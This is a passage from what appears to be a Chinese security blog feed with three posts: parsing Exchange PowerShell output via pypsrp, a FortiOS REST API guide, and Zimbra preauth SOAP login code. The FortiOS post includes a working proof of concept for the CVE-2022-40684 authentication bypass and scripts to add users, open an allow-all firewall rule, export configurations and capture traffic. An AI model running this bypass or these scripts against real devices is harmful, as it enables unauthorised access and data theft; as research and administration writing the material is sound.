RefId="6" /&gt;&lt;LST&gt;&lt;S&gt;emailAddress:2364647872867&lt;/S&gt;&lt;S&gt;lastNameFirstName:2364647872867&lt;/S&gt;&lt;S&gt;firstNameLastName:2364647872867&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;S N="WindowsEmailAddress"&gt;[email protected]&lt;/S&gt;&lt;Nil N="MailTip" /&gt;&lt;Obj N="MailTipTranslations" RefId="38"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;S N="Identity"&gt;test.com/Users/Administrator&lt;/S&gt;&lt;B N="IsValid"&gt;true&lt;/B&gt;&lt;S N="ExchangeVersion"&gt;0.20 (15.0.0.0)&lt;/S&gt;&lt;S N="Name"&gt;Administrator&lt;/S&gt;&lt;S N="DistinguishedName"&gt;CN=Administrator,CN=Users,DC=test,DC=com&lt;/S&gt;&lt;G N="Guid"&gt;c07d2fbc-48f5-4a90-b7d7-5ec79d2844b4&lt;/G&gt;&lt;S N="ObjectCategory"&gt;test.com/Configuration/Schema/Person&lt;/S&gt;&lt;Obj N="ObjectClass" RefId="39"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST&gt;&lt;S&gt;top&lt;/S&gt;&lt;S&gt;person&lt;/S&gt;&lt;S&gt;organizationalPerson&lt;/S&gt;&lt;S&gt;user&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;DT N="WhenChanged"&gt;2022-10-30T18:01:36-07:00&lt;/DT&gt;&lt;DT N="WhenCreated"&gt;2022-10-19T18:10:53-07:00&lt;/DT&gt;&lt;DT N="WhenChangedUTC"&gt;2022-10-31T01:01:36Z&lt;/DT&gt;&lt;DT N="WhenCreatedUTC"&gt;2022-10-20T01:10:53Z&lt;/DT&gt;&lt;S N="OrganizationId"&gt;&lt;/S&gt;&lt;S N="Id"&gt;test.com/Users/Administrator&lt;/S&gt;&lt;S N="OriginatingServer"&gt;dc01.test.com&lt;/S&gt;&lt;S N="ObjectState"&gt;Unchanged&lt;/S&gt;&lt;/Props&gt;&lt;/Obj&gt; Administrator </code></pre></div></div> <p>在调用<code class="language-plaintext highlighter-rouge">serializer.deserialize(message_data)</code>提取输出结果时,这里只提取到了一组数据,忽略了完整的结果</p> <p>经过简单的分析,发现<code class="language-plaintext highlighter-rouge">&lt;Props&gt;&lt;/Props&gt;</code>标签内包含完整的输出结果,所以这里可先通过字符串截取提取出<code class="language-plaintext highlighter-rouge">&lt;Props&gt;&lt;/Props&gt;</code>标签内的数据,示例代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>props_data = message_data[message_data.find('&lt;Props'):message_data.rfind('&lt;/Props&gt;')+8] </code></pre></div></div> <p>进一步分析提取出来的数据,发现每个标签<code class="language-plaintext highlighter-rouge">&lt;S&gt;&lt;/S&gt;</code>分别对应一项属性,为了提高效率,这里使用<code class="language-plaintext highlighter-rouge">xml.dom.minidom</code>解析成xml格式并提取元素,示例代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from xml.dom import minidom dom = minidom.parseString(props_data) data_s = dom.getElementsByTagName("S") for data_i in data_s: if data_i.firstChild and len(data_i.getAttribute('N'))&gt;0: key = data_i.getAttribute('N') #每个子节点属性'N'的名称 value = data_i.firstChild.data #每个子节点的值 print('{:32s}: {}'.format(key,value)) #格式化输出 </code></pre></div></div> <p>经测试,以上代码能够输出完整的结果</p> <p>按照<a href="https://github.com/jborean93/pypsrp">pypsrp</a>的代码格式,得出优化<a href="https://github.com/jborean93/pypsrp">pypsrp</a>输出结果的代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> try: if "Microsoft.Exchange" in message_data: #try to output the complete results of the Exchange Powershell props_data = message_data[message_data.find('&lt;Props'):message_data.rfind('&lt;/Props&gt;')+8] from xml.dom import minidom dom = minidom.parseString(props_data) data_s = dom.getElementsByTagName("S") temp_data = "" for data_i in data_s: if data_i.firstChild and len(data_i.getAttribute('N'))&gt;0: key = data_i.getAttribute('N') value = data_i.firstChild.data temp_data += '{:32s}: {}\r\n'.format(key,value) message_data = temp_data else: message_data = serializer.deserialize(message_data) </code></pre></div></div> <p>使用修改过的<a href="https://github.com/3gstudent/pypsrp">pypsrp</a>连接Exchange PowerShell执行命令时,能够返回完整的输出结果,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-1/2-3.png" alt="Alt text" /></p> <p>经测试,在测试ProxyShell的过程中,使用修改过的<a href="https://github.com/3gstudent/pypsrp">pypsrp</a>也能得到完整的输出结果</p> <h3 id="补充">补充:</h3> <p>如果使用原始版本<a href="https://github.com/jborean93/pypsrp">pypsrp</a>测试ProxyShell,可通过解析代理的返回结果实现,其中需要注意的是在作Base64解密时,由于存在不可见字符,无法使用<code class="language-plaintext highlighter-rouge">.decode('utf-8')</code>解码,可以换用<code class="language-plaintext highlighter-rouge">.decode('ISO-8859-1')</code>,还需要考虑数据被分段的问题,实现的示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data_base64 = "" data = re.compile(r"&lt;rsp:Stream(.*?)&lt;/rsp:Stream&gt;").findall(res.text) for i in range(len(data)): data_base64 = data_base64 + data[i][64:] data_decrypt = base64.b64decode(data_base64).decode('ISO-8859-1') </code></pre></div></div> <h2 id="0x05-小结">0x05 小结</h2> <hr /> <p>本文介绍了通过<a href="https://github.com/jborean93/pypsrp">pypsrp</a>连接Exchange PowerShell执行命令返回完整输出结果的解决方法。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Sat, 01 Oct 2022 00:00:00 +0000 https://3gstudent.github.io//pypsrp%E5%9C%A8Exchange-Powershell%E4%B8%8B%E7%9A%84%E4%BC%98%E5%8C%96 https://3gstudent.github.io/pypsrp%E5%9C%A8Exchange-Powershell%E4%B8%8B%E7%9A%84%E4%BC%98%E5%8C%96 FortiOS REST API开发指南 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>本文将要介绍FortiOS REST API的相关用法,分享脚本开发的实现细节。</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>Fortigate环境搭建</li> <li>FortiOS REST API两种登录方式</li> <li>常用操作</li> <li>常用功能</li> </ul> <h2 id="0x02-fortigate环境搭建">0x02 Fortigate环境搭建</h2> <hr /> <p>这里以Fortigate作为FortiOS REST API的测试环境,安装FortiGate for VMware</p> <p>参考资料:https://getlabsdone.com/how-to-install-fortigate-on-vmware-workstation/</p> <h3 id="1下载fortigate-for-vmware安装包">1.下载FortiGate for VMware安装包</h3> <p>下载地址:https://support.fortinet.com/</p> <p>选择<code class="language-plaintext highlighter-rouge">Support</code> -&gt; <code class="language-plaintext highlighter-rouge">VMImages</code>,Select Product: <code class="language-plaintext highlighter-rouge">FortiGate</code>,Select Platform: <code class="language-plaintext highlighter-rouge">VMWare ESXi</code></p> <p><strong>注:</strong></p> <p>7.2之前的版本可使用15天,7.2之后的版本需要账号注册</p> <h3 id="2导入ova文件">2.导入ova文件</h3> <p>打开FortiGate-VM64.ova导入VMWare</p> <h3 id="3配置网卡">3.配置网卡</h3> <p>默认添加了10个网卡,我们只需要保留3个,删除后面的7个,3个网卡的具体配置如下:</p> <h4 id="1管理网卡">(1)管理网卡</h4> <p>依次选择<code class="language-plaintext highlighter-rouge">VMware workstation</code> -&gt; <code class="language-plaintext highlighter-rouge">Edit</code> -&gt; <code class="language-plaintext highlighter-rouge">Virtual Network Editor</code>,点击<code class="language-plaintext highlighter-rouge">Change settings</code>,点击<code class="language-plaintext highlighter-rouge">Add Network...</code>,选择<code class="language-plaintext highlighter-rouge">VMnet2</code>,<code class="language-plaintext highlighter-rouge">Type</code>选择<code class="language-plaintext highlighter-rouge">Host-only</code>,<code class="language-plaintext highlighter-rouge">DHCP</code>选择<code class="language-plaintext highlighter-rouge">Enabled</code></p> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/1-1.png" alt="Alt text" /></p> <p>将该网卡设置成<code class="language-plaintext highlighter-rouge">VMnet2</code></p> <h4 id="2wan网卡">(2)WAN网卡</h4> <p>设置成<code class="language-plaintext highlighter-rouge">bridged</code></p> <h4 id="3lan网卡">(3)LAN网卡</h4> <p>选择<code class="language-plaintext highlighter-rouge">network adapter 3</code>,点击<code class="language-plaintext highlighter-rouge">LAN Segments...</code>,点击<code class="language-plaintext highlighter-rouge">Add</code>,命名为<code class="language-plaintext highlighter-rouge">Fortigate LAN</code></p> <p>将该网卡设置成<code class="language-plaintext highlighter-rouge">LAN segment</code>,选择<code class="language-plaintext highlighter-rouge">Fortigate LAN</code></p> <p>最终配置如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/1-2.png" alt="Alt text" /></p> <h3 id="4开启虚拟机">4.开启虚拟机</h3> <p>默认用户名: <code class="language-plaintext highlighter-rouge">admin</code>,口令为空</p> <p>查看激活状态的命令:<code class="language-plaintext highlighter-rouge">get system status</code></p> <p>查看ip的命令: <code class="language-plaintext highlighter-rouge">diagnose ip address list</code></p> <p>得到管理网卡的ip为<code class="language-plaintext highlighter-rouge">192.168.23.128</code></p> <h3 id="5访问web管理页面">5.访问Web管理页面</h3> <p>地址为:http://192.168.23.128</p> <h2 id="0x03-fortios-rest-api两种登录方式">0x03 FortiOS REST API两种登录方式</h2> <hr /> <p>参考资料:https://www.used.net.ua/index.php/fajlovyj-arkhiv/category/35-fortinet.html?download=83:fortios-5-6-11-rest-api-reference</p> <p>FortiOS REST API支持以下两种登录方式:</p> <h3 id="1使用admin用户口令">1.使用admin用户口令</h3> <p>需要管理员用户admin的明文口令,不需要额外的配置</p> <p>通过访问<code class="language-plaintext highlighter-rouge">https://&lt;url&gt;/logincheck</code>生成登录凭据的Cookie,再访问对应的地址</p> <p>需要注意的是,使用admin用户口令登录结束后需要访问<code class="language-plaintext highlighter-rouge">https://&lt;url&gt;/logout</code>进行注销操作</p> <p>Python示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check(target, username, password): data = { "username": username, "secretkey": password } print("[*] Try to logincheck") r = requests.post(target + "/logincheck", data=data, verify=False) cookiejar = r.cookies print("[*] Try to access /api/v2/cmdb/system/admin") r = requests.get(target + "/api/v2/cmdb/system/admin", cookies=cookiejar, verify=False) print(r.status_code) print(r.text) print("[*] Try to access /api/v2/cmdb/system/api-user") r = requests.get(target + "/api/v2/cmdb/system/api-user", cookies=cookiejar, verify=False) print(r.status_code) print(r.text) print("[*] Try to access /api/v2/cmdb/system/accprofile") r = requests.get(target + "/api/v2/cmdb/system/accprofile", cookies=cookiejar, verify=False) print(r.status_code) print(r.text) print("[*] Try to logout") r = requests.post(target + "/logout", cookies=cookiejar, verify=False) print(r.status_code) print(r.text) check("https://192.168.1.1", "admin", "123456") </code></pre></div></div> <p>代码实现以下三个功能:</p> <ul> <li>查询管理员用户信息,查询成功</li> <li>查询REST API用户信息,查询成功</li> <li>查询配置文件信息,查询成功</li> </ul> <h3 id="2使用api-key">2.使用API key</h3> <p>参考资料:https://docs.fortinet.com/document/forticonverter/6.0.2/online-help/866905/connect-fortigate-device-via-api-token</p> <p>需要额外创建配置文件和用户,生成API key</p> <h4 id="1创建配置文件">(1)创建配置文件</h4> <p>登录Web管理页面,依次选择<code class="language-plaintext highlighter-rouge">System</code> -&gt; <code class="language-plaintext highlighter-rouge">Admin Profiles</code> -&gt; <code class="language-plaintext highlighter-rouge">Create New</code></p> <p><code class="language-plaintext highlighter-rouge">Name</code>设置为<code class="language-plaintext highlighter-rouge">api_admin</code></p> <p>将所有权限均设置为<code class="language-plaintext highlighter-rouge">Read/Write</code></p> <h4 id="2创建用户">(2)创建用户</h4> <p>依次选择<code class="language-plaintext highlighter-rouge">System</code> -&gt; <code class="language-plaintext highlighter-rouge">Administrators</code> -&gt; <code class="language-plaintext highlighter-rouge">Create New</code> -&gt; <code class="language-plaintext highlighter-rouge">REST API Admin</code></p> <p><code class="language-plaintext highlighter-rouge">Username</code>设置为<code class="language-plaintext highlighter-rouge">api_user</code></p> <p><code class="language-plaintext highlighter-rouge">Administrator profile</code>设置为<code class="language-plaintext highlighter-rouge">api_admin</code></p> <p>自动生成API key,测试环境得到的结果为<code class="language-plaintext highlighter-rouge">r3h53QbtrmNtdk0HH5qwnw8mkcmnt7</code></p> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/2-1.png" alt="Alt text" /></p> <p>API key有以下两种使用方式:</p> <ul> <li>作为URL的参数使用,示例:<code class="language-plaintext highlighter-rouge">?access_token=r3h53QbtrmNtdk0HH5qwnw8mkcmnt7</code></li> <li>放在Header中,示例:<code class="language-plaintext highlighter-rouge">"Authorization": "Bearer r3h53QbtrmNtdk0HH5qwnw8mkcmnt7"</code></li> </ul> <p>Python示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check(target, token): headers = { "Authorization": "Bearer " + token, } print("[*] Try to access /api/v2/cmdb/system/admin") r = requests.get(target + "/api/v2/cmdb/system/admin", headers=headers, verify=False) print(r.status_code) print(r.text) print("[*] Try to access /api/v2/cmdb/system/api-user") r = requests.get(target + "/api/v2/cmdb/system/api-user", headers=headers, verify=False) print(r.status_code) print(r.text) print("[*] Try to access /api/v2/cmdb/system/accprofile") r = requests.get(target + "/api/v2/cmdb/system/accprofile", headers=headers, verify=False) print(r.status_code) print(r.text) check("https://192.168.1.1", "r3h53QbtrmNtdk0HH5qwnw8mkcmnt7") </code></pre></div></div> <p>代码实现以下三个功能:</p> <ul> <li>查询管理员用户信息,查询失败</li> <li>查询REST API用户信息,查询成功</li> <li>查询配置文件信息,查询成功</li> </ul> <h3 id="补充通过漏洞cve-2022-40684可绕过身份认证">补充:通过漏洞(CVE-2022-40684)可绕过身份认证</h3> <p>Python示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check(target): headers = { "user-agent": "Node.js", "accept-encoding": "gzip, deflate", "Host": "127.0.0.1:9980", "forwarded": 'by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=', "x-forwarded-vdom": "root", } print("[*] Try to access /api/v2/cmdb/system/admin") r = requests.get(target + "/api/v2/cmdb/system/admin", headers=headers, verify=False) print(r.status_code) print(r.text) print("[*] Try to access /api/v2/cmdb/system/api-user") r = requests.get(target + "/api/v2/cmdb/system/api-user", headers=headers, verify=False) print(r.status_code) print(r.text) print("[*] Try to access /api/v2/cmdb/system/accprofile") r = requests.get(target + "/api/v2/cmdb/system/accprofile", headers=headers, verify=False) print(r.status_code) print(r.text) check("https://192.168.1.1") </code></pre></div></div> <p>代码实现以下三个功能:</p> <ul> <li>查询管理员用户信息,查询成功</li> <li>查询REST API用户信息,查询成功</li> <li>查询配置文件信息,查询成功</li> </ul> <h2 id="0x04-常用操作">0x04 常用操作</h2> <hr /> <h3 id="1调试输出">1.调试输出</h3> <p>为了方便调试,可在cli执行以下命令:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diagnose debug enable diagnose debug application httpsd -1 </code></pre></div></div> <p>将会在cli输出调试信息30分钟</p> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/2-2.png" alt="Alt text" /></p> <h3 id="2二进制文件提取">2.二进制文件提取</h3> <p>可使用挂载vmdk的方式提取出二进制文件,逆向分析REST API的实现细节</p> <p>提取二进制文件的方法可参考:https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/</p> <h3 id="3增删改查操作">3.增删改查操作</h3> <p>读取内容使用<code class="language-plaintext highlighter-rouge">GET</code>方法</p> <p>新建内容使用<code class="language-plaintext highlighter-rouge">POST</code>方法</p> <p>修改内容使用<code class="language-plaintext highlighter-rouge">PUT</code>方法</p> <p>删除内容使用<code class="language-plaintext highlighter-rouge">DELETE</code>方法</p> <h2 id="0x05-常用功能">0x05 常用功能</h2> <hr /> <h3 id="1创建本地用户">1.创建本地用户</h3> <p>需要访问<code class="language-plaintext highlighter-rouge">/api/v2/cmdb/user/local</code>,发送json数据</p> <p>Python示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>add_j = { "name":"user1", "q_origin_key":"user1", "status":"enable", "type":"password", "passwd":"123456", } r = requests.post(target + "/api/v2/cmdb/user/local", headers=headers, json=add_j, verify=False) print(r.text) </code></pre></div></div> <p>#2.添加防火墙规则</p> <p>需要访问<code class="language-plaintext highlighter-rouge">/api/v2/cmdb/firewall/policy</code>,发送json数据</p> <p>Python示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>add_j = { "name":"policy1", "srcintf":[ { "name":"port1", "q_origin_key":"port1" } ], "dstintf":[ { "name":"port1", "q_origin_key":"port1" } ], "action":"accept", "srcaddr":[ { "name":"all", "q_origin_key":"all" } ], "dstaddr":[ { "name":"all", "q_origin_key":"all" } ], "schedule":"always", "service":[ { "name":"ALL", "q_origin_key":"ALL" } ], "nat":"enable", } r = requests.post(target + "/api/v2/cmdb/firewall/policy", headers=headers, json=add_j, verify=False) print(r.text) </code></pre></div></div> <h3 id="3导出所有配置">3.导出所有配置</h3> <p>通过访问<code class="language-plaintext highlighter-rouge">/api/v2/cmdb/system/admin</code>导出用户信息时,password项被加密,格式为<code class="language-plaintext highlighter-rouge">"password":"ENC XXXX"</code></p> <p>这里可通过备份功能导出所有配置,获得加密的用户口令,访问位置为<code class="language-plaintext highlighter-rouge">/api/v2/monitor/system/config/backup?destination=file&amp;scope=global</code></p> <p>Python示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r = requests.get(target + "/api/v2/monitor/system/config/backup?destination=file&amp;scope=global", headers=headers, verify=False) print(r.text) </code></pre></div></div> <h3 id="4抓包">4.抓包</h3> <p>需要依次完成以下操作:</p> <ul> <li>新建Packet Capture Filter</li> <li>开启Packet Capture Filter</li> <li>停止Packet Capture Filter</li> <li>下载数据包</li> <li>删除Packet Capture Filter</li> </ul> <p>Python示例代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print("Try to create the sniffer") add_j = { "status":"enable", "logtraffic":"utm", "ipv6":"disable", "non-ip":"disable", "interface":"port1", "host":"", "port":"", "protocol":"", "vlan":"", "application-list-status":"disable", "application-list":"", "ips-sensor-status":"disable", "ips-sensor":"", "dsri":"disable", "av-profile-status":"disable", "av-profile":"", "webfilter-profile-status":"disable", "webfilter-profile":"", "emailfilter-profile-status":"disable", "emailfilter-profile":"", "dlp-sensor-status":"disable", "dlp-sensor":"", "ip-threatfeed-status":"disable", "ip-threatfeed":[ ], "file-filter-profile-status":"disable", "file-filter-profile":"", "ips-dos-status":"disable", "anomaly":[ ], "max-packet-count":4000 } r = requests.post(target + "/api/v2/cmdb/firewall/sniffer", headers=headers, json=add_j, verify=False) data = json.loads(r.text) print("[+] mkey: " + str(data["mkey"])) print("Try to start the sniffer") r = requests.post(target + "/api/v2/monitor/system/sniffer/start?mkey=" + str(data["mkey"]), headers=headers, verify=False) print(r.text) print("Waiting...") time.sleep(60) print("Try to stop the sniffer") r = requests.post(target + "/api/v2/monitor/system/sniffer/stop?mkey=" + str(data["mkey"]), headers=headers, verify=False) print(r.text) print("Try to download the sniffer packet") r = requests.get(target + "/api/v2/monitor/system/sniffer/download?mkey=" + str(data["mkey"]), headers=headers, verify=False) print("[+] Save as sniffer.pcap") with open("sniffer.pcap", "ab+") as fw: fw.write(r.content) print("Try to delete the sniffer") r = requests.delete(target + "/api/v2/cmdb/firewall/sniffer/" + str(data["mkey"]), headers=headers, verify=False) print(r.text) </code></pre></div></div> <h2 id="0x06-小结">0x06 小结</h2> <hr /> <p>本文以Fortigate环境为例,介绍了FortiOS REST API的相关用法,分享了创建本地用户、添加防火墙规则、导出所有配置和抓包的实现代码。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Fri, 16 Sep 2022 00:00:00 +0000 https://3gstudent.github.io//FortiOS-REST-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97 https://3gstudent.github.io/FortiOS-REST-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97 Zimbra-SOAP-API开发指南6——预认证 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>本文将要继续扩充开源代码<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py">Zimbra_SOAP_API_Manage</a>的实用功能,添加预认证的登录方式,分享开发细节。</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>预认证</li> <li>计算preauth</li> <li>SOAP实现</li> <li>开源代码</li> </ul> <h2 id="0x02-预认证">0x02 预认证</h2> <hr /> <p>参考资料:https://wiki.zimbra.com/wiki/Preauth</p> <p>简单理解:通过preAuthKey结合用户名、时间戳和到期时间,计算得出的HMAC作为身份验证的令牌,可用于用户邮箱和SOAP登录</p> <p>默认配置下,Zimbra未启用预认证的功能,需要手动开启</p> <h4 id="1开启预认证并生成preauthkey">(1)开启预认证并生成PreAuthKey</h4> <p>命令如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/zimbra/bin/zmrov generateDomainPreAuthKey &lt;domain&gt; </code></pre></div></div> <p>其中,<code class="language-plaintext highlighter-rouge">&lt;domain&gt;</code>对应当前Zimbra服务器的域名,可通过执行命令<code class="language-plaintext highlighter-rouge">/opt/zimbra/bin/zmprov gad</code>获得,测试环境的输出如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mail.test.com </code></pre></div></div> <p>对应测试环境的命令为:<code class="language-plaintext highlighter-rouge">/opt/zimbra/bin/zmprov generateDomainPreAuthKey mail.test.com</code></p> <p>测试环境的输出如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>preAuthKey: fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7 </code></pre></div></div> <h4 id="2读取已有的preauthkey">(2)读取已有的PreAuthKey</h4> <p>命令如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/zimbra/bin/zmprov gd &lt;domain&gt; zimbraPreAuthKey </code></pre></div></div> <p>对应测试环境的命令为:<code class="language-plaintext highlighter-rouge">/opt/zimbra/bin/zmprov gd mail.test.com zimbraPreAuthKey</code></p> <p>测试环境的输出如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zimbraPreAuthKey: fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7 </code></pre></div></div> <p><strong>注:</strong></p> <p>如果Zimbra存在多个域名,那么会有多个PreAuthKey</p> <h2 id="0x03-计算preauth">0x03 计算preauth</h2> <hr /> <p><a href="https://wiki.zimbra.com/wiki/Preauth">参考资料</a>中给出了多种计算preauth的示例,但是Python的实现代码不完整,这里补全Python3下的完整实现代码,详细代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from time import time import hmac, hashlib import sys def generate_preauth(target, preauth_key, mailbox): try: preauth_url = target + "/service/preauth" timestamp = int(time()*1000) data = "{mailbox}|name|0|{timestamp}".format(mailbox=mailbox, timestamp=timestamp) pak = hmac.new(preauth_key.encode(), data.encode(), hashlib.sha1).hexdigest() print("[+] Preauth url: ") print("%s?account=%s&amp;expires=0&amp;timestamp=%s&amp;preauth=%s"%(preauth_url, mailbox, timestamp, pak)) except Exception as e: print("[!] Error:%s"%(e)) if __name__ == "__main__": if len(sys.argv)!=4: print('GeneratePreauth') print('Use to generate the preauth key') print('Usage:') print('%s &lt;host&gt; &lt;preauth_key&gt; &lt;mailuser&gt;'%(sys.argv[0])) print('Eg.') print('%s https://192.168.1.1 fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7 [email protected]'%(sys.argv[0])) sys.exit(0) else: generate_preauth(sys.argv[1], sys.argv[2], sys.argv[3]) </code></pre></div></div> <p>代码会自动生成可用的URL,浏览器访问可以登录指定邮箱</p> <h2 id="0x04-soap实现">0x04 SOAP实现</h2> <hr /> <p>SOAP格式:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;AuthRequest xmlns="urn:zimbraAccount"&gt; &lt;account by="name|id|foreignPrincipal"&gt;{account-identifier}&lt;/account&gt; &lt;preauth timestamp="{timestamp}" expires="{expires}"&gt;{computed-preauth}&lt;/preauth&gt; &lt;/AuthRequest&gt; </code></pre></div></div> <p>SOAP格式示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;AuthRequest xmlns="urn:zimbraAccount"&gt; &lt;account&gt;[email protected]&lt;/account&gt; &lt;preauth timestamp="1135280708088" expires="0"&gt;b248f6cfd027edd45c5369f8490125204772f844&lt;/preauth&gt; &lt;/AuthRequest&gt; </code></pre></div></div> <p>需要<code class="language-plaintext highlighter-rouge">timestamp</code>和<code class="language-plaintext highlighter-rouge">preauth</code>作为参数,使用预认证登录的详细代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import sys import requests import re import warnings warnings.filterwarnings("ignore") from time import time import hmac, hashlib def generate_preauth(target, mailbox, preauth_key): try: preauth_url = target + "/service/preauth" timestamp = int(time()*1000) data = "{mailbox}|name|0|{timestamp}".format(mailbox=mailbox, timestamp=timestamp) pak = hmac.new(preauth_key.encode(), data.encode(), hashlib.sha1).hexdigest() print("[+] Preauth url: ") print("%s?account=%s&amp;expires=0&amp;timestamp=%s&amp;preauth=%s"%(preauth_url, mailbox, timestamp, pak)) return timestamp, pak except Exception as e: print("[!] Error:%s"%(e)) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } def auth_request_preauth(uri,username,timestamp,pak): request_body="""&lt;soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"&gt; &lt;soap:Header&gt; &lt;context xmlns="urn:zimbra"&gt; &lt;/context&gt; &lt;/soap:Header&gt; &lt;soap:Body&gt; &lt;AuthRequest xmlns="urn:zimbraAccount"&gt; &lt;account&gt;{username}&lt;/account&gt; &lt;preauth timestamp="{timestamp}" expires="0"&gt;{pak}&lt;/preauth&gt; &lt;/AuthRequest&gt; &lt;/soap:Body&gt; &lt;/soap:Envelope&gt; """ try: r=requests.post(uri+"/service/soap",headers=headers,data=request_body.format(username=username,timestamp=timestamp,pak=pak),verify=False,timeout=15) if 'authentication failed' in r.text: print("[-] Authentication failed for %s"%(username)) exit(0) elif 'authToken' in r.text: pattern_auth_token=re.compile(r"&lt;authToken&gt;(.*?)&lt;/authToken&gt;") token = pattern_auth_token.findall(r.text)[0] print("[+] Authentication success for %s"%(username)) print("[*] authToken_low:%s"%(token)) return token else: print("[!]") print(r.text) except Exception as e: print("[!] Error:%s"%(e)) exit(0) timestamp, pak = generate_preauth("https://192.168.1.1", "[email protected]", "fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7") token = auth_request_preauth("https://192.168.1.1","[email protected]",timestamp,pak) </code></pre></div></div> <p>以上代码通过预认证登录,返回可用的token,通过该token可以进行后续的SOAP操作,列出文件夹邮件数量的实现代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def getfolder_request(uri,token): request_body="""&lt;soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"&gt; &lt;soap:Header&gt; &lt;context xmlns="urn:zimbra"&gt; &lt;authToken&gt;{token}&lt;/authToken&gt; &lt;/context&gt; &lt;/soap:Header&gt; &lt;soap:Body&gt; &lt;GetFolderRequest xmlns="urn:zimbraMail"&gt; &lt;/GetFolderRequest&gt; &lt;/soap:Body&gt; &lt;/soap:Envelope&gt; """ try: print("[*] Try to get folder") r=requests.post(uri+"/service/soap",headers=headers,data=request_body.format(token=token),verify=False,timeout=15) pattern_name = re.compile(r"name=\"(.*?)\"") name = pattern_name.findall(r.text) pattern_size = re.compile(r" n=\"(.*?)\"") size = pattern_size.findall(r.text) for i in range(len(name)): print("[+] Name:%s,Size:%s"%(name[i],size[i])) except Exception as e: print("[!] Error:%s"%(e)) getfolder_request("https://192.168.1.1",token) </code></pre></div></div> <h2 id="0x05-开源代码">0x05 开源代码</h2> <hr /> <p>新的代码已上传至github,地址如下:</p> <p>https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py</p> <p>添加了使用预认证登录的功能</p> <h2 id="0x06-小结">0x06 小结</h2> <hr /> <p>本文扩充了Zimbra SOAP API的调用方法,添加了使用预认证登录的功能。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Fri, 09 Sep 2022 00:00:00 +0000 https://3gstudent.github.io//Zimbra-SOAP-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-%E9%A2%84%E8%AE%A4%E8%AF%81 